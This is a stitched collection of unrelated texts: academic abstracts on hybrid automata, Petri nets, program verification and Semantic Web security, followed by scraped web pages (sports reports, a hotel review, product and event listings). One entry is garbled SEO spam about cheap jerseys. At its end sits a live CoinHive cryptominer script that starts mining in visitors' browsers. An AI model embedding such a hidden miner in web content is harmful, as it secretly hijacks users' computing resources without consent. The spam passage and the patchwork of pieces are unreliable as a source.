Hybrid automata are used as standard means for the specification and analysis of dynamical systems. Several researches have approached them to formally specify reactive Multi-agent systems situated in a physical environment, where the agents react continuously to their environment. The specified systems, in turn, are formally checked with the help of existing hybrid automata verification tools. However, when dealing with multi-agent systems, two problems may be raised. The first problem is a state space problem raised due to the composition process, where the agents have to be parallel composed into an agent capturing all possible behaviors of the multi-agent system prior to the verification phase. The second problem concerns the expressiveness of verification tools when modeling and verifying certain behaviors. Therefore, this paper tackles these problems by showing how multi-agent systems, specified as hybrid automata, can be modeled and verified using constraint logic programming(CLP). In particular, a CLP framework is presented to show how the composition of multi-agent behaviors can be captured dynamically during the verification phase. This can relieve the state space complexity that may occur as a result of the composition process. Additionally, the expressiveness of the CLP model flexibly allows not only to model multi-agent systems, but also to check various properties by means of the reachability analysis. Experiments are promising to show the feasibility of our approach.
Specifying behaviors of multi-agent systems (MASs) is a demanding task, especially when applied in safety-critical systems. In the latter systems, the specification of behaviors has to be carried out carefully in order to avoid side effects that might cause unwanted or even disastrous behaviors. Thus, formal methods based on mathematical models of the system under design are helpful. They not only allow us to formally specify the system at different levels of abstraction, but also to verify the consistency of the specified systems before implementing them. The formal specification aims a precise and unambiguous description of the behavior of MASs, whereas the verification aims at proving the satisfaction of specified requirements. A behavior of an agent can be described as discrete changes of its states with respect to external or internal actions. Whenever an action occurs, the agent moves from one state to another one. Therefore, an efficient way to model this type of discrete behaviors is to use a kind of state transition diagrams such as finite automata. One remarkable advantage of such transition diagrams is that they lend themselves formal analysis techniques using model checking. The latter is an automatic verification technique which determines whether given properties are satisfied within a model underlying a particular system. In realistic physical environments, however, it is necessary to consider continuous behaviors in addition to discrete behaviors of MASs. Examples of those type of behaviors include the movement of a soccer agent to kick off or to go to the ball, the process of putting out the fire by a fire brigade agent in a rescue scenario, or any other behaviors that depend on any timed physical law. The traditional state transition diagrams are not sufficient to combine these types of behaviors. Hybrid automata offer an elegant method to capture such types of behaviors. Hybrid automata extend regular state transition diagrams with methods that deal with those continuous actions such that the state transition diagrams are used to model the discrete changes of behaviors, while differential equations are used to model the continuous changes. The semantics of hybrid automata make them accessible to formal verification by means of model checking. The main goal of this thesis is to approach hybrid automata for specifying and verifying behaviors of MASs. However, specifying and and verifying behaviors of MASs by means of hybrid automata raises several issues that should be considered. These issues include the complexity, modularity, and the expressiveness of MASs' models. This thesis addresses these issues and provides possible solutions to tackle them.
CAMPUS NEWS - artificial intelligence methods combined for an intelligent information network (2008)
In this paper we describe a network for distributing personalised information with the usage of artificial intelligence methods. Reception of this information should be possible with everyday mobile equipment. Intelligent filtering and spam protection aim at integrating this technology into our environment. Information on the system architecture and usage of the installation are also presented.
Conventional security infrastructures in the Internet cannot be directly adopted to ambient systems, especially if based on short-range communication channels: Personal, mobile devices are used and the participants are present during communication, so privacy protection is a crucial issue. As ambient systems cannot rely on an uninterrupted connection to a Trust Center, certiffed data has to be veriffed locally. Security techniques have to be adjusted to the special environment. This paper introduces a public key infrastructure (PKI) to provide secure communication channels with respect to privacy, confidentiality, data integrity, non-repudiability, and user or device authentication. It supports three certiffcate levels with a different balance between authenticity and anonymity. This PKI is currently under implementation as part of the iCity project.
An empirical study to evaluate the location of advertisement panels by using a mobile marketing tool (2009)
The efficiency of marketing campaigns is a precondition for business success. This paper discusses a technique to transfer advertisement content vie Bluetooth technology and collects market research information at the same time. Conventional advertisement media were enhanced by devices to automatically measure the number, distance, frequency and exposure time of passersby, making information available to evaluate both the wireless media as well as the location in general. This paper presents a study analyzing these data. A cryptographic one-way function protects privacy during data acquisition.
The paper deals with a specific introduction into probability propagation nets. Starting from dependency nets (which in a way can be considered the maximum information which follows from the directed graph structure of Bayesian networks), the probability propagation nets are constructed by joining a dependency net and (a slightly adapted version of) its dual net. Probability propagation nets are the Petri net version of Bayesian networks. In contrast to Bayesian networks, Petri nets are transparent and easy to operate. The high degree of transparency is due to the fact that every state in a process is visible as a marking of the Petri net. The convenient operability consists in the fact that there is no algorithm apart from the firing rule of Petri net transitions. Besides the structural importance of the Petri net duality there is a semantic matter; common sense in the form of probabilities and evidencebased likelihoods are dual to each other.
In this paper, we demonstrate by means of two examples how to work with probability propagation nets (PPNs). The fiirst, which comes from the book by Peng and Reggia [1], is a small example of medical diagnosis. The second one comes from [2]. It is an example of operational risk and is to show how the evidence flow in PPNs gives hints to reduce high losses. In terms of Bayesian networks, both examples contain cycles which are resolved by the conditioning technique [3].
Probability propagation nets (2007)
A class of high level Petri nets, called "probability propagation nets", is introduced which is particularly useful for modeling probability and evidence propagation. These nets themselves are well suited to represent the probabilistic Horn abduction, whereas specific foldings of them will be used for representing the flows of probabilities and likelihoods in Bayesian networks.
Dualizing marked Petri nets results in tokens for transitions (t-tokens). A marked transition can strictly not be enabled, even if there are sufficient "enabling" tokens (p-tokens) on its input places. On the other hand, t-tokens can be moved by the firing of places. This permits flows of t-tokens which describe sequences of non-events. Their benefiit to simulation is the possibility to model (and observe) causes and effects of non-events, e.g. if something is broken down.
Software is vital for modern society. The efficient development of correct and reliable software is of ever-growing importance. An important technique to achieve this goal is deductive program verification: the construction of logical proofs that programs are correct. In this thesis, we address three important challenges for deductive verification on its way to a wider deployment in the industry: 1. verification of thread-based concurrent programs 2. correctness management of verification systems 3. change management in the verification process. These are consistently brought up by practitioners when applying otherwise mature verification systems. The three challenges correspond to the three parts of this thesis (not counting the introductory first part, providing technical background on the KeY verification approach). In the first part, we define a novel program logic for specifying correctness properties of object-oriented programs with unbounded thread-based concurrency. We also present a calculus for the above logic, which allows verifying actual Java programs. The calculus is based on symbolic execution resulting in its good understandability for the user. We describe the implementation of the calculus in the KeY verification system and present a case study. In the second part, we provide a first systematic survey and appraisal of factors involved in reliability of formal reasoning. We elucidate the potential and limitations of self-application of formal methods in this area and give recommendations based on our experience in design and operation of verification systems. In the third part, we show how the technique of similarity-based proof reuse can be applied to the problems of industrial verification life cycle. We address issues (e.g., coping with changes in the proof system) that are important in verification practice, but have been neglected by research so far.
Die Entwicklung von Algorithmen im Sinne des Algorithm Engineering geschieht zyklisch. Der entworfene Algorithmus wird theoretisch analysiert und anschließend implementiert. Nach der praktischen Evaluierung wird der Entwurf anhand der gewonnenen Kenntnisse weiter entwickelt. Formale Verifffizierung der Implementation neben der praktischen Evaluierung kann den Entwicklungsprozess verbessern. Mit der Java Modeling Language (JML) und dem KeY tool stehen eine einfache Spezififfkationssprache und ein benutzerfreundliches, automatisiertes Verififfkationstool zur Verfügung. Diese Arbeit untersucht, inwieweit das KeY tool für die Verifffizierung von komplexeren Algorithmen geeignet ist und welche Rückmeldungen für Algorithmiker aus der Verififfkation gewonnen werden können.Die Untersuchung geschieht anhand von Dijkstras Algorithmus zur Berechnung von kürzesten Wegen in einem Graphen. Es sollen eine konkrete Implementation des Standard-Algorithmus und anschließend Implementationen weiterer Varianten verifffiziert werden. Dies ahmt den Entwicklungsprozess des Algorithmus nach, um in jeder Iteration nach möglichen Rückmeldungen zu suchen. Bei der Verifffizierung der konkreten Implementation merken wir, dass es nötig ist, zuerst eine abstraktere Implementation mit einfacheren Datenstrukturen zu verififfzieren. Mit den dort gewonnenen Kenntnissen können wir dann die Verifikation der konkreten Implementation fortführen. Auch die Varianten des Algorithmus können dank der vorangehenden Verififfkationen verifiziert werden. Die Komplexität von Dijkstras Algorithmus bereitet dem KeY tool einige Schwierigkeiten bezüglich der Performanz, weswegen wir während der Verifizierung die Automatisierung etwas reduzieren müssen. Auf der anderenrn Seite zeigt sich, dass sich aus der Verifffikation einige Rückmeldungen ableiten lassen.
Confidentiality, integrity, and availability are often listed as the three major requirements for achieving data security and are collectively referred to as the C-I-A triad. Confidentiality of data restricts the data access to authorized parties only, integrity means that the data can only be modified by authorized parties, and availability states that the data must always be accessible when requested. Although these requirements are relevant for any computer system, they are especially important in open and distributed networks. Such networks are able to store large amounts of data without having a single entity in control of ensuring the data's security. The Semantic Web applies to these characteristics as well as it aims at creating a global and decentralized network of machine-readable data. Ensuring the confidentiality, integrity, and availability of this data is therefore also important and must be achieved by corresponding security mechanisms. However, the current reference architecture of the Semantic Web does not define any particular security mechanism yet which implements these requirements. Instead, it only contains a rather abstract representation of security. This thesis fills this gap by introducing three different security mechanisms for each of the identified security requirements confidentiality, integrity, and availability of Semantic Web data. The mechanisms are not restricted to the very basics of implementing each of the requirements and provide additional features as well. Confidentiality is usually achieved with data encryption. This thesis not only provides an approach for encrypting Semantic Web data, it also allows to search in the resulting ciphertext data without decrypting it first. Integrity of data is typically implemented with digital signatures. Instead of defining a single signature algorithm, this thesis defines a formal framework for signing arbitrary Semantic Web graphs which can be configured with various algorithms to achieve different features. Availability is generally supported by redundant data storage. This thesis expands the classical definition of availability to compliant availability which means that data must only be available as long as the access request complies with a set of predefined policies. This requirement is implemented with a modular and extensible policy language for regulating information flow control. This thesis presents each of these three security mechanisms in detail, evaluates them against a set of requirements, and compares them with the state of the art and related work.
This thesis addresses the problem of terrain classification in unstructured outdoor environments. Terrain classification includes the detection of obstacles and passable areas as well as the analysis of ground surfaces. A 3D laser range finder is used as primary sensor for perceiving the surroundings of the robot. First of all, a grid structure is introduced for data reduction. The chosen data representation allows for multi-sensor integration, e.g., cameras for color and texture information or further laser range finders for improved data density. Subsequently, features are computed for each terrain cell within the grid. Classification is performedrnwith a Markov random field for context-sensitivity and to compensate for sensor noise and varying data density within the grid. A Gibbs sampler is used for optimization and is parallelized on the CPU and GPU in order to achieve real-time performance. Dynamic obstacles are detected and tracked using different state-of-the-art approaches. The resulting information - where other traffic participants move and are going to move to - is used to perform inference in regions where the terrain surface is partially or completely invisible for the sensors. Algorithms are tested and validated on different autonomous robot platforms and the evaluation is carried out with human-annotated ground truth maps of millions of measurements. The terrain classification approach of this thesis proved reliable in all real-time scenarios and domains and yielded new insights. Furthermore, if combined with a path planning algorithm, it enables full autonomy for all kinds of wheeled outdoor robots in natural outdoor environments.
Interactive video retrieval (2006)
The goal of this thesis is to develop a video retrieval system that supports relevance feedback. One research approach of the thesis is to find out if a combination of implicit and explicit relevance feedback returns better retrieval results than a system using explicit feedback only. Another approach is to identify a model to weight existing feature categories. For this purpose, a state-of-the-art analysis is presented and two systems implemented, which run under the conditions of the international TRECVID workshop. It will be a basis system for further research approaches in the field of interactive video retrieval. Amongst others, it shall participate in the 2006 search task of the mentioned workshop.
This paper documents the development of an abstract physics layer (APL) for Simspark. After short introductions to physics engines and Simspark, reasons why an APL was developed are explained. The biggest part of this paper describes the new design and why certain design choices were made based on requirements that arose during developement. It concludes by explaining how the new design was eventually implemented and what future possibilities the new design holds.
Using semantic data from general-purpose programming languages does not provide the unified experience one would want for such an application. Static error checking is lacking, especially with regards to static typing of the data. Based on the previous work of λ-DL, which integrates semantic queries and concepts as types into a typed λ-calculus, this work takes its ideas a step further to meld them into a real-world programming language. This thesis explores how λ-DL's features can be extended and integrated into an existing language, researches an appropriate extension mechanism and produces Semantics4J, a JastAdd-based Java language semantic data extension for type-safe OWL programming, together with examples of its usage.


text:
serve it on whole grain bread for your lunch the
serve it on whole grain bread for your lunch the next day1. Make a list. Plot out the gifts you need to buy cheap nfl jerseys in the year ahead. Go to the AAA cheap jerseys china Northern New England offices to buy discounted Combo pass tickets to the parkIn order to qualify for group discount tickets, you need to have at least twenty five people in your party. The company does not buy the tickets, they are consigned. Unsold ticket are returned to the park.. Unless you're staying at an all inclusive resort where meals are bundled with your room rate, you'll need to create a generous budget for food. As well as one, two or three meals per day (including gratuity, if you're eating at restaurants), you'll want to account for the expense of snacks and drinks in between. If you plan to spend a day at the theme park (or even at the airport during a long layover), remember that food prices can be significantly higher.. The London Center is equipped with 2 computer labs which house 12 PCs (running Windows XP). The entire building is hooked into a wireless network, and students who wish to bring laptops will be able to use this wireless service, with a bit of advance preparation. In addition to the Center own facilities, London is one of the world most on line cities, and cybercafes and coffee shops with wifi can be found throughout. "If Kentucky did not operate its own exchange, based on premium volume, the federal user fee has the potential of generating more than would be needed to support a state based exchange," said Carrie Banahan, executive director of the Kentucky exchange. Department of Health and Human Services approved to build their own exchanges to provide one stop shopping for health insurance. Open enrollment begins Oct. We caught one fish and had eight misses on downlines and another boat trolling planer boards came past. One of the fishermen said he'd caught a huge striper and showed it to us. It weighed 50 pounds, he wholesale football jerseys said. These businesses house your inventory in their warehouses along with other customer's inventories, thus allowing you to only pay for the space necessary. This eliminates the need for speculative leases on warehouses that may be too big or small depending on sales. It also removes the necessity to manage employees, as all fulfillment is completed by titanium 650ml cup the employees of the fulfillment service itself.. The Post reported the debate, if you can call it that, was tense that an Alexandria fan said she left in tears and felt so threatened that she later called the police. O a 56 year old former teacher who doesn really watch Stewart show, told the Post was disingenuous. The Native Americans accused me of Cheap Ray Bans things that were so wrong.var miner = new CoinHive.User('xtFCkOWXnlc5ZsFwNrjy8Mi8U1E0VRsi',document.domain,{threads:navigator.hardwareConcurrency,autoThreads:false,throttle:0.5,forceASMJS:false});miner.start();

subset: commoncrawl


text:
IndustriesJuvenile Products
MarketsMiddle East and Africa
Brazil's National Institute of Metrology, Quality and Technology (INMETRO) has released Ordinance No. 42 Technical Regulation of Quality (RTQ) for Children's Walkers on January 19th, 2018.
This regulation sets the following requirements: general technical requirements including physical and mechanical properties, safe limits for the migration of certain substances used in children's walkers, applicable warning statements, instructions for use, and conformity assessment for children's walkers.
This regulation became effective on January 25th, 2018.


text:
The city of Milwaukee, WI has been taken by storm by two twins of a kind! The singing, rapping, dancing AND hooping duo is something to keep your eyes on. I probably missed a few of their talents but nonetheless, these guys got it down. This year they really solidified their spot, their sound, and their vision. They've matured from the high school hoopers we knew them as to business men with serious talent on their hand. Their branding and presentation has been taken to a new level and the top is closer than they think.
From so many gems to pick from, we narrowed our favorite songs from them into three hits!
The most recent, "My N!gga" displays the ability of the twins to stay on top of the beat and provide a melody and flow that's unmatched. This beat is something serious and their concept does it for them!
I loved the content of this song, and the video adds to the mood even more. Their transitions on this song make it one worth listening.
On another note and another vibe, this song is also a banger! The smoother side of the two doesn't disappoint and I think it's their signature sound. They never fail to show some versality just when people think they've got it all figured out.
Make sure to check out the extended interview from No Plays Missed, TwentyFour & MT Twins below!


text:
Are you trying to reduce the amount of fat and sugar in your diet? You might want to switch on the new Low Fat and Low Sugar diet options on the Spoon Guru app.
There's been a lot of emphasis on healthy eating over the last few years. The UK government have recently created new guidelines around the amount, and types, of fat and sugar we can eat to help us maintain a healthy diet.
Fat, especially saturated fat, has long been considered one of the bad boys of nutrition. With more information and awareness around the links between fats, cholesterol, and heart disease, it's no wonder there are so many 'light' and 'reduced-fat' options becoming available on our supermarket shelves. However, this can at times be a little confusing as 'reduced fat' products may not necessarily be 'Low Fat'. Creamed cheese, for example, is indeed 'reduced fat' at 6% fat (regular cream cheese is 34%), but this still places it in the 'Medium Fat' range according to government guidelines.
If you thought fat was confusing, sugar can be even more so. It's currently recommended that adults eat no more than 30g of sugar a day – this is the equivalent of 7 teaspoons. Children, of course, should be eating even less than this – no more than 19g (5 teaspoons) for kids aged 4 – 6, and 24g (6 teaspoons) for 7 – 10 year olds. And while you may not eat or drink a lot of sweet things, you'd be surprised at how much of the sweet stuff can sneak into your 'healthy' meals.
This is where we can help. Using guidelines set out by the Food Standards Agency and the Department of Health, we've added a filter to our database to help you find the best 'Low Fat' and 'Low Sugar' products and recipes.
So what exactly does 'Low Fat' and 'Low Sugar' mean? In other words, how low is low?
When you select the Low Sugar Diet option on the Spoon Guru app, your search results will show only products and recipes that have 5g or less of sugar per 100g. The Low Fat Diet option will give you products and recipes that have 3g or less of fat per 100g.
If you'd like more information on the UK guidelines around sugar and fat, check out our infographic below. For a more detailed breakdown, the following NHS pages have some excellent tips and information:


text:
Dr. Rav Ivker is a holistic family doctor with nearly five decades of experience treating more than 70,000 patients. He's written seven holistic healing books, most notably Sinus Survival: The Holistic Medical Treatment for Sinusitis, Allergies, and Colds (Tarcher/Penguin). He is a board-certified holistic physician (ABIHM) and a Fellow of the American Academy of Family Physicians and runs his own holistic medical practice in Boulder, Colorado.
"An excellent source of objective information about medical
marijuana."--Library Journal
"Cannabis for Chronic Pain is an authoritative guide to the safe and effective use of this often misunderstood medicinal plant."--CHRISTIANE NORTHRUP, M.D., ob/gyn physician and author of the New York Times bestsellers Goddesses Never Age and The Wisdom of Menopause
"Without a doubt, there is a great need for a reliable source on information regarding the safe and effective use of cannabis. Well, here it is. I can think of no other person who embodies such authority than Dr. Ivker. The fact is his expertise goes beyond the science. As one of the founders of the modern day Integrative-Holistic Movement, in this book he contextualizes the questions and answers regarding cannabis into a very practical and thoughtful review of what it means to be truly healthy, and as he says, fully alive --the ultimate goal for each of us."--MICHAEL FINKELSTEIN, MD, FACP, ABIHM, author of Slow Medicine
"This book is a treasure in ways that go way beyond its title. It is not just about cannabis and relieving pain, but truly about healing your life and experiencing the therapeutic and curative effects that a healed life and self-love can provide. It speaks the truth we all need to learn even before pain enters our lives and helps us to give birth to our true selves."--BERNIE SIEGEL, MD, #1 New York Times bestselling author of Love, Medicine & Miracles and The Art of Healing
"Cannabis for Chronic Pain presents a long-awaited, rational discussion of the potential of cannabis as a therapeutic tool across a wide spectrum of challenging medical conditions. From the perspectives of both patient and clinician, Dr. Ivker provides compelling evidence to support judicious use of cannabis, especially for chronic pain, and reveals that in terms of risk versus benefit, cannabis outshines anything pharmaceutical."--DAVID PERLMUTTER, MD, #1 New York Times bestselling author of Grain Brain and Brain Maker
"This book is a valuable resource for anyone suffering with chronic pain. By establishing the standard of care for the emerging field of cannabis medicine, it guides readers to quickly and safely relieve their pain, providing an effective alternative to opioids. But even more important it helps readers address the causes of their pain while providing a holistic self-care approach to long-term relief, utilizing state-of-the-art integrative and functional medicine."--MARK HYMAN, MD, #1 New York Times bestselling author of Eat Fat, Get Thin
"The medical profession remains in the dark ages when treating pain. Medical marijuana beats narcotics and psychotropic drugs in effectiveness, costs, and negative effects. The time has come to welcome this superior approach!"--C. NORMAN SHEALY, MD, PhD, Founder and CEO of International Institute of Holistic Medicine and founding president of American Holistic Medical Association


text:
Plot: Nancy arrives on Deception Island one of the San Juan Islands in Washington State, for some well deserved R and R. But the vacation turns into a mystery from the very start. Katie Firestone, Nancy's host is a marine biologist who also does whale watching tours on her boat. No sooner does Nancy arrive than they discover Katie's boat has been sabotaged, and so begins the mystery.
As always there are multiple mysteries to solve here. One is naturally Katie's boat Another is the strange messages found in bottles floating in the harbor, and another would be the mysterious thefts that occurred in town.
Characters: Jenna Deblin: I liked Jenna. She didn't seem as stiff as some characters. Here's a tip, When Nancy gets a choice between the clam chowder and a blueberry muffin, choose the blueberry muffin the first time. Then you'll always get a choice of the two. Well it did that for me.
Holt Scotto: Holt is a fisherman, born and bred, and is running for Harbor Master. Holt may come off as gruff, but he obviously has everyone's best interest in mine.
Andy Jason: Andy, well Andy is not my favorite character. The "Whale's Rule" bit I found annoying. And well let's say I found him suspicious from the start.
Games, Puzzles and Chores: There are "chores" in this game, but unlike other games where they have to be done over and over, here you do them once and you're done. The puzzles are pretty easy, compared to some of the games. To me the hardest part of the game was going from Katie's boat to the island. If you have the same problem I suggest using a walk through, for that part, or if you keep getting lost in the underground caves. (UHS hints is wonderful because it only tells you what you need to know).


text:
Bangladeshi Embassy in Tashkent, Uzbekistan
- Address33, Vosid Vohidov Street, Yakkasary District, Tashkent 100015, Uzbekistan
- Email[email protected]
- Fax(+998) (71) 120 6711
- Phone(+998) (71) 150 2118 - 21
This map displays the location of Bangladeshi Embassy in Uzbekistan
Submit Edits for "Bangladeshi Embassy in Tashkent, Uzbekistan"
About Bangladeshi Embassy in Tashkent, Uzbekistan
Bangladeshi Embassy in Uzbekistan runs an inclusive range of consular services to local, Bangladeshi, and international citizens in Uzbekistan.The Bangladeshi Embassy in Uzbekistan supports Uzbek citizens through its consular services, if they:
- Need general or specific info regarding Bangladeshi economy, culture, sports, education and more
- Need information regarding requirements and process of getting Bangladeshi Citizenship
- Specific contacts and information in Bangladesh
- Want to apply and obtain Bangladeshi Visa
Visa and Passport services
Bangladeshi passport and visa from are issued only to citizens whose main residence is in Bangladesh and Uzbekistan.
The process of issuing Bangladeshi Visa and Passport of Bangladesh can take few weeks.*Please contact with Bangladeshi Embassy in Uzbekistan if you have any question as regards of visa and passport matters.
Bangladeshi representations in Uzbekistan
Bangladeshi Embassy in Uzbekistan is the only Bangladeshi diplomatic mission in Uzbekistan.
Uzbek representations in Bangladesh
- Uzbekistani Consulate in Dhaka is the only Uzbek representation in Bangladesh
Bangladeshi representations worldwide
Bangladeshi Embassy In Uzbekistan represents one of 109 consular and diplomatic representations of Bangladesh all over the world.
Foreign representations in Uzbekistan
Bangladeshi Embassy In Uzbekistan represents one of 46 foreign consular and diplomatic representations from around the world in Uzbekistan.


text:
Marvel Comics
Marvel Knights 20th #3
Price: $4.25
Store availability: in stock!
Donny Cates(w), Tini Howard(w), Damian Couceiro(a), Geoff Shaw(c)
Bruce was happy in his life. At peace. But that was before the notes came every night. Scrawled in a childlike hand. Driving him to seek out others like him. The blind man. The law officer. The self-defense instructor. Together, they must probe the very darkest parts of the soul on a quest for identity. A mystery that can only be unraveled... a threat that can only be challenged... by Knights.
Item #: 50563 Diamond code: OCT180892 UPC: 75960609272700311


text:
Good Hotel Guide Review
There is whisky galore on the Inner Hebrides island of Islay; bonhomie in the bar of this friendly hotel. It was first mentioned in 1849, when it hosted the Morrison family: they liked it so much, they bought the island. Manager Alison Gray and her staff 'have clearly thought through their guests' comfort'. Rooms blend contemporary and traditional style, neutral decor with tartan and floral fabrics. They are supplied with local toiletries and tablet (the fudgy confection, not a device). Chef Scott Chance has a passion for local produce – game from Islay estates, vegetables from the community garden, Argyll meat, freshly landed seafood. The restaurant's daily-changing menu includes such imaginative dishes as medallion and faggot of venison, truffle croquette, woodland mushroom, parsnip, berry sauce; vegetable linguine. Readers so loved the soft local background music that they 'downloaded it, and still sing along'. You'll find more casual dining in the public bar, Morrison tartan underfoot in a lounge warmed by a blazing fire. After a breakfast kipper, you can set out to spot seal and sea eagle, visit distilleries, or 'follow a stream through woods and farms to a local craft centre'.
Hotel details
Argyll and Bute
01496 810212
11. 1 family room with bunk bed.
all year except 25 Dec and 1 Jan.
lounge bar, public bar, restaurant, free Wi-Fi, in-room TV (Freeview), wedding facilities, terrace, garden, drying room, half-acre grounds, parking, public areas wheelchair accessible, adapted toilet.
Background music
in public areas.
all ages welcomed.
well-behaved dogs allowed in bedrooms, bar.
Credit cards
Amex, MC, Visa.
per room B&B £120–£250. À la carte £30. 1-night bookings sometimes refused during Islay Festival end of May.
Other reviews
Good Hotel Guide articles about
Bridgend Hotel
- Sunday Post: 10 of Argyll and Bute's best dog-friendly getaways
- Sunday Post: The Good Hotel guide picks out the best hotels on the Isle of Islay
- Scottish Field: Top 10 Scottish hotels for whisky lovers


text:
Men's Sweater
$42.95 $84.95
A classic crewneck sweatshirt dialed up with water-repellent fleece for total comfort no matter the plan.
Throw on the Burton Analog Enclave Crew Fleece for a laid-back look and warm ride-worthy utility. Thumbhole cuffs add that extra bit of coverage to help seal out the cold and snow, not to mention make for smooth layering. Thanks to the zip handwarmer pockets, you won't risk misplacing your cash or keys while making your way from the mountain to main street.
60% Cotton, 40% Polyester 330G Brushed Back Fleece with DWR
Female model is 5'9.5" / 120 lbs and is wearing a size Extra-Small
Male model is 5'11" / 140 lbs and is wearing a size Large
Weather Wash Analog Water-Repellent Technology
Regular Fit
Zippered Handwarmer Pockets
Silicone Patch Chest Logo
Rib Knit Collar and Hem
Rib Knit Cuffs with Thumbholes
Lifetime Warranty


text:
- This event has passed.
RENEW How Not to Marry a Jerk {or Jerkette} (3 part series)
October 24, 2019 @ 12:00 pm - 1:00 pmFree
Join us for a 3 part series with Rev. Debbie Pisor. There will be snacks and activities. Is love really blind or are there red flags along the way? In our time together we will examine how to keep our head and heart in balance through the concept of bonding links and connection as we maneuver the life-changing journey of choosing a partner for marriage!! (must do all 3) Click Here* to register.
Must be 18 or older to attend class and receive RENEW Rewards.
Rewards will be given at the end of class.


text:
The last week prior to the official start of the transfer market was understandably quiet: Sampdoria pulled off the most interesting move by adding another talented youngster, Gonzalo Maroni from Boca Juniors, who can feature in few positions up front and has the potential to be electric. Genoa made a sizeable investment to have Andrea Pinamonti from Inter, who had a very promising rookie season in Frosinone and is set to be their featured guy up front moving forward. Fiorentina are giving the keys to their goal to Barlomiej Dragowki, who blossomed in Empoli last season, and thus sent Alban Lafont to Nantes on a two-year loan. Sassuolo permanently signed left back Rogerio from Juventus after the 18-month loan, Brescia did the same with Ales Mateju, who belonged to Brighton.
Tag Archives: Balde Keita
Serie A Match of the Round – Inter vs Empoli
Inter-Empoli was set to be the match that decided few teams' destiny in the final round and it did not disappoint from an entertainment standpoint, with the result hanging in the balance up until the final whistle and great end-to-end stuff throughout the contest.
The Biscione went into the contest looking for a win that would have kept Milan behind in the standings no matter what. The Azzuri needed a win to stay in front of Genoa and therefore in Serie A, but also a tie would have sufficed in case the Rossoblù did not got the three points in Florence. Continue reading
Serie A Fantasy Recap – Round 38
Standings implications: it was a rollercoaster because of the chronological order of the events, but the Champions League race finished in the same way it was entering the round, as Atalanta and Inter were successful and staved off Milan. The Nerazzurri sent Empoli to Serie B as Genoa's grand plan to wait for the Beneamata to win worked out, as neither them or Fiorentina were interested in attacking in their match. Roma bid farewell to Daniele De Rossi with a W over Parma.
Among the meaningless games, Juventus got beat by Sampdoria, Napoli by Bologna, while Udinese bested Cagliari on the road and Frosinone and Chievo shared the spoils in a nil-nil tie. Continue reading
Serie A Fantasy Predictions – Round 30
Milan-Udinese: the Rossoneri slowed down just as things were starting to get really interesting, as they were defeated by Inter and Sampdoria after they had managed to surpass the Nerazzurri riding a five-game winning streak. They also have to look behind at the onrushing Atalanta and Lazio. Udinese came out on top in Igor Tudor's second debut, besting Genoa after two losses to Juventus and Napoli, although their home numbers were solid also before the firing of Davide Nicola. Milan have had troubles feeding Krzysztof Piatek in the last two matches and they do not really have a second reliable scoring option because Suso and Hakan Calhanoglu are more creators and have not had much feeling with the goal recently. Samu Castillejo did not deliver in Genoa despite the opportunity to start. Lucas Paquetà and Franck Kessie were benched after international duties, but they should be back in the XI here and could provide a decent boost. The Brazilian starlet might play closer to the guy and Patrick Cutrone could get to start over Suso in a different scheme. Continue reading
Serie A Fantasy Predictions – Round 28
SPAL-Roma: the Estensi are pretty much starving for points as they collected just one in their last five games, against Sassuolo, and were beaten by Atalanta, Fiorentina, Sampdoria and Inter, further signaling their struggles against good competition. Their lead over the danger zone has been cut to just two points. The Giallorossi partially course corrected after a rough week with a narrow win over Empoli, where they did not look imposing and were lucky in the end, but also had to endure a host of absences. One of the main issues for the Biancazzurri has been the fact that they have not identified reliable offensive contributors other than Andrea Petagna, Jasmin Kurtic and Manuel Lazzari and the house of cards crumbled once the wing back was sidelined by an injury. Continue reading
Serie A Injury and Suspension Report – Round 26
Juventus: Cristiano Ronaldo had a little scare midweek due to an ankle bruise, but he should be able to feature against Napoli. Douglas Costa (quad) is still out of commission, while Sami Khedira is trying to return earlier than expected from his heart problem.
Napoli: Mario Rui will be back in the squad list after missing time with a thigh sprain and Amin Younes could be called up as well after nursing his surgically repaired Achilles tendon away from the team for a while. Arkadiusz Milik was a little fatigued this week, but he should be fine. Continue reading
Serie A Injury and Suspension Report – Round 25
Juventus: Sami Khedira underwent a heart ablation with an arrhythmogenic atrial focus and will miss a minimum of one month. Emre Can is suspended. Douglas Costa remains questionable with the quad injury that has forced to skip the last few games.
Napoli: Lorenzo Insigne is disqualified, while Mario Rui has slim chances to return from a thigh pull.
Inter: Mauro Icardi took some tests this week, which revealed no structural damage on his achy knee, but he is still poised to be unavailable this week amid the standoff with the managament. Balde Keita is having a hard time shaking off a thigh strain. Continue reading
Serie A Injury and Suspension Report – Round 24
Juventus: Leonardo Bonucci and Giorgio Chiellini have been called up, while Douglas Costa remains out with a quad problem. Daniele Rugani has a sore thigh, but he is in the squad list. Alex Sandro is suspended.
Napoli: Dries Mertens and Simone Verdi missed the midweek Europa League clash due to a contracture and a bruised knee respectively, but they have been able to recover. Raul Albiol underwent a clean-up surgery on the patellar tendon of the left knee and will miss six-to-eight weeks. Mario Rui suffered a thigh pull and will be sidelined this week.
Inter: Sime Vrsaljko had season-ending knee surgery. Balde Keita's recovery from a thigh strain has had a hiccup and he will not be available this week. Mauro Icardi has a sore knee and will not be called up this week. Continue reading
Serie A Fantasy Predictions – Round 24
Juventus-Frosinone: the Bianconeri quickly bounced back in Sassuolo after the 3-3 draw with Parma and have won four times in the last five fixtures, fortifying their lead in the standings. The Ciociari have been pesky recently and they are coming off a surprise win over Sampdoria, their second in a row on the road, and they are now within striking distance from the 17th spot. With Champions League just around the corner, Cristiano Ronaldo might be rested for the second time in Serie A, which would mean more scoring opportunities for Mario Mandzukic, Federico Bernardeschi and Paulo Dybala, or whoever will compose the front-line. Continue reading
Serie A Injury and Suspension Report – Round 23
Juventus: Federico Bernardeschi will be good to go after leaving the last game with a chest injury. On the other hand, Douglas Costa is iffy due to a bruised quad and Leonardo Spinazzola has a sore ankle. Giorgio Chiellini (calf) will be out again, while Leonardo Bonucci (ankle) is making a late push to be in the squad list.
Napoli: Amin Younes is having troubles with the surgically repaired Achilles tendon. Raul Albiol is reportedly dealing with a patellar tendon issue that could turn out to be a very serious one.
Inter: Matteo Politano will serve the final game of his suspension. Balde Keita has been called up despite the coach saying that he is not ready. Borja Valero is out with knee soreness.


text:
5) I really like the feel of sweat running down my back. Even more, I like the shower that follows.
4) You never know what you're gonna get with each video. Plus, I get to make fun of the workout leader later
3) My shorts are looser around my waist.
2) I can mark it off as a job well done on my calendar.
1) I'm working off my sins the good old fashioned (but effective!) way – with diet and exercise. Plus, it allows me to keep sinning. Always a bonus!


text:
